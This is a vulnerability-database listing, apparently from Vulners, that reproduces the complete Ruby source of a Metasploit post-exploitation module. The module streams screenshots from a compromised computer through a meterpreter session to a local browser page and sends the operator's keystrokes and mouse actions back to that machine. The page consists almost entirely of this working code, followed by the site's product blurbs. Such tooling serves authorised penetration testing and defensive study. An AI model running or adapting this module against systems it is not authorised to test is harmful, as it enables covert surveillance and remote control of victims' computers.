Lucene search
K

Multi Manage the screen of the target meterpreter session

🗓️ 22 Apr 2020 04:37:48Reported by timwrType 
metasploit
 metasploit
🔗 www.rapid7.com👁 59 Views

Multi Manage the screen of the target meterpreter session. View and control the target computer screen via a local browser window. Continuously screenshots the screen and relays mouse and keyboard events to session

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Manage the screen of the target meterpreter session',
        'Description' => %q{
          This module allows you to view and control the screen of the target computer via
          a local browser window. The module continually screenshots the target screen and
          also relays all mouse and keyboard events to session.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'timwr'],
        'Platform' => [ 'linux', 'win', 'osx' ],
        'SessionTypes' => [ 'meterpreter' ],
        'DefaultOptions' => { 'SRVHOST' => '127.0.0.1' },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_ui_desktop_screenshot
              stdapi_ui_send_keyevent
              stdapi_ui_send_mouse
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )
  end

  def run
    @last_sequence = 0
    @key_sequence = {}
    exploit
  end

  def perform_event(query)
    action = query['action']

    if action == 'key'
      key = query['key']
      keyaction = query['keyaction']
      session.ui.keyevent_send(key, keyaction) if key
    else
      x = query['x']
      y = query['y']
      session.ui.mouse(action, x, y)
    end
  end

  def supports_espia?(session)
    return false unless session.platform == 'windows'

    session.core.use('espia') unless session.espia
    session.espia.present?
  rescue RuntimeError
    false
  end

  # rubocop:disable Metrics/MethodLength
  def on_request_uri(cli, request)
    if request.uri =~ %r{/screenshot$}
      data = ''
      if supports_espia?(session)
        data = session.espia.espia_image_get_dev_screen
      else
        data = session.ui.screenshot(50)
      end
      send_response(cli, data, { 'Content-Type' => 'image/jpeg', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache' })
    elsif request.uri =~ %r{/event$}
      query = JSON.parse(request.body)
      seq = query['i']
      if seq <= @last_sequence + 1
        perform_event(query)
        @last_sequence = seq
      else
        @key_sequence[seq] = query
      end
      loop do
        event = @key_sequence[@last_sequence + 1]
        break unless event

        perform_event(event)
        @last_sequence += 1
        @key_sequence.delete(@last_sequence)
      end

      send_response(cli, '')
    else
      print_status("Sent screenshare html to #{cli.peerhost}")
      uripath = get_resource
      uripath += '/' unless uripath.end_with? '/'
      html = %^<!html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit screenshare</title>
</head>
<body>
<noscript>
<h2 style="color:#f00">Error: You need JavaScript enabled to watch the stream.</h2>
</noscript>
<div id="error" style="display: none">
  An error occurred when loading the latest screen share.
</div>
<div id="container">
  <div class="controls">
    <span>
      <label for="isControllingCheckbox">Controlling target?</label>
      <input type="checkbox" id="isControllingCheckbox" name="scales">
    </span>
    <span>
      <label for="screenScaleFactorInput">Screen size</label>
      <input type="range" id="screenScaleFactorInput" min="0.01" max="2" step="0.01" />
    </span>
    <span>
      <label for="refreshRateInput">Image delay</label>
      <input type="range" id="imageDelayInput" min="16" max="60000" step="1" />
      <span id="imageDelayLabel" />
    </span>
  </div>
  <canvas id="canvas" />
</div>
<div>
  <a href="https://www.metasploit.com" target="_blank">www.metasploit.com</a>
</div>
</body>
<script type="text/javascript">
"use strict";

var state = {
  eventCount: 1,
  isControlling: false,
  // 1 being original size, 0.5 half size, 2 being twice as large
  screenScaleFactor: 1,
  // In milliseconds, 1 capture every 60 seconds
  imageDelay: 60000,
};

var container = document.getElementById("container");
var error = document.getElementById("error");
var img = new Image();
var controllingCheckbox = document.getElementById("isControllingCheckbox");
var imageDelayInput = document.getElementById("imageDelayInput");
var imageDelayLabel = document.getElementById("imageDelayLabel");
var screenScaleFactorInput = document.getElementById("screenScaleFactorInput");
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");

/////////////////////////////////////////////////////////////////////////////
// Form binding
/////////////////////////////////////////////////////////////////////////////

setTimeout(synchronizeState, 0);

controllingCheckbox.onclick = function () {
  state.isControlling = controllingCheckbox.checked;
  synchronizeState();
};

imageDelayInput.oninput = function (e) {
  state.imageDelay = Number(e.target.value);
  synchronizeState();
};

screenScaleFactorInput.oninput = function (e) {
  state.screenScaleFactor = Number(e.target.value);
  synchronizeState();
};

function synchronizeState() {
  screenScaleFactorInput.value = state.screenScaleFactor;
  imageDelayInput.value = state.imageDelay;
  imageDelayLabel.innerHTML = state.imageDelay + " milliseconds";
  controllingCheckbox.checked = state.isControlling;
  scheduler.setDelay(state.imageDelay);
  updateCanvas();
}

/////////////////////////////////////////////////////////////////////////////
// Canvas Refeshing
/////////////////////////////////////////////////////////////////////////////

// Schedules the queued function to be invoked after the required period of delay.
// If a queued function is originally queued for a delay of one minute, followed
// by an updated delay of 1000ms, the previous delay will be ignored - and the
// required function will instead be invoked 1 second later as requested.
function Scheduler(initialDay) {
  var previousTimeoutId = null;
  var delay = initialDay;
  var previousFunc = null;

  this.setDelay = function (value) {
    if (value === delay) return;
    delay = value;
    this.queue(previousFunc);
  };

  this.queue = function (func) {
    clearTimeout(previousTimeoutId);
    previousTimeoutId = setTimeout(func, delay);
    previousFunc = func;
  };

  return this;
}
var scheduler = new Scheduler(state.imageDelay);

function updateCanvas() {
  canvas.width = img.width * state.screenScaleFactor;
  canvas.height = img.height * state.screenScaleFactor;
  ctx.drawImage(img, 0, 0, canvas.width, canvas.height);

  error.style = "display: none";
}

function showError() {
  error.style = "display: initial";
}

// Fetches the latest image, and queues an additional image refresh once complete
function fetchLatestImage() {
  var nextImg = new Image();
  nextImg.onload = function () {
    img = nextImg;
    updateCanvas();
    scheduler.queue(fetchLatestImage);
  };
  nextImg.onerror = function () {
    showError();
    scheduler.queue(fetchLatestImage);
  };
  nextImg.src = "#{uripath}screenshot#" + Date.now();
}

fetchLatestImage();

/////////////////////////////////////////////////////////////////////////////
// Canvas interaction
/////////////////////////////////////////////////////////////////////////////

// Returns a function, that when invoked, will only run at most once within
// the required timeframe. This reduces the rate at which a function will be
// called. Particularly useful for reducing the amount of mouse movement events.
function throttle(func, limit) {
  limit = limit || 200;
  var timeoutId;
  var previousTime;
  var context;
  var args;
  return function () {
    context = this;
    args = arguments;
    if (!previousTime) {
      func.apply(context, args);
      previousTime = Date.now();
    } else {
      clearTimeout(timeoutId);
      timeoutId = setTimeout(function () {
        if (Date.now() - previousTime >= limit) {
          func.apply(context, args);
          previousTime = Date.now();
        }
      }, limit - (Date.now() - previousTime));
    }
  };
}

function sendEvent(event) {
  if (!state.isControlling) {
    return;
  }

  event["i"] = state.eventCount++;
  var req = new XMLHttpRequest();
  req.open("POST", "#{uripath}event", true);
  req.setRequestHeader("Content-type", 'application/json;charset=UTF-8');
  req.send(JSON.stringify(event));
}

function mouseEvent(action, e) {
  sendEvent({
    action: action,
    // Calculate mouse position relative to the original screensize
    x: Math.round(
      (e.pageX - canvas.offsetLeft) * (1 / state.screenScaleFactor)
    ),
    y: Math.round(
      (e.pageY - canvas.offsetTop) * (1 / state.screenScaleFactor)
    ),
  });
}

function keyEvent(action, key) {
  if (key === 59) {
    key = 186;
  } else if (key === 61) {
    key = 187;
  } else if (key === 173) {
    key = 189;
  }
  sendEvent({
    action: "key",
    keyaction: action,
    key: key,
  });
}

document.onkeydown = throttle(function (e) {
  if (!state.isControlling) {
    return;
  }
  var key = e.which || e.keyCode;
  keyEvent(1, key);
  e.preventDefault();
});

document.onkeyup = function (e) {
  if (!state.isControlling) {
    return;
  }
  var key = e.which || e.keyCode;
  keyEvent(2, key);
  e.preventDefault();
};

canvas.addEventListener(
  "contextmenu",
  function (e) {
    if (!state.isControlling) {
      return;
    }
    e.preventDefault();
  },
  false
);

canvas.onmousemove = throttle(function (e) {
  if (!state.isControlling) {
    return;
  }
  mouseEvent("move", e);
  e.preventDefault();
});

canvas.onmousedown = function (e) {
  if (!state.isControlling) {
    return;
  }
  var action = "leftdown";
  if (e.which === 3) {
    action = "rightdown";
  }
  mouseEvent(action, e);
  e.preventDefault();
};

canvas.onmouseup = function (e) {
  if (!state.isControlling) {
    return;
  }
  var action = "leftup";
  if (e.which === 3) {
    action = "rightup";
  }
  mouseEvent(action, e);
  e.preventDefault();
};

canvas.ondblclick = function (e) {
  if (!state.isControlling) {
    return;
  }
  mouseEvent("doubleclick", e);
  e.preventDefault();
};
</script>
<style>
body {
  color: rgba(0, 0, 0, .85);
  font-size: 16px;
}

input {
  padding: 0.5em 0.6em;
  display: inline-block;
  vertical-align: middle;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
}

.controls {
  line-height: 2;
}
</style>
</html>
    ^
      send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
    end
  end
  # rubocop:enable Metrics/MethodLength
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation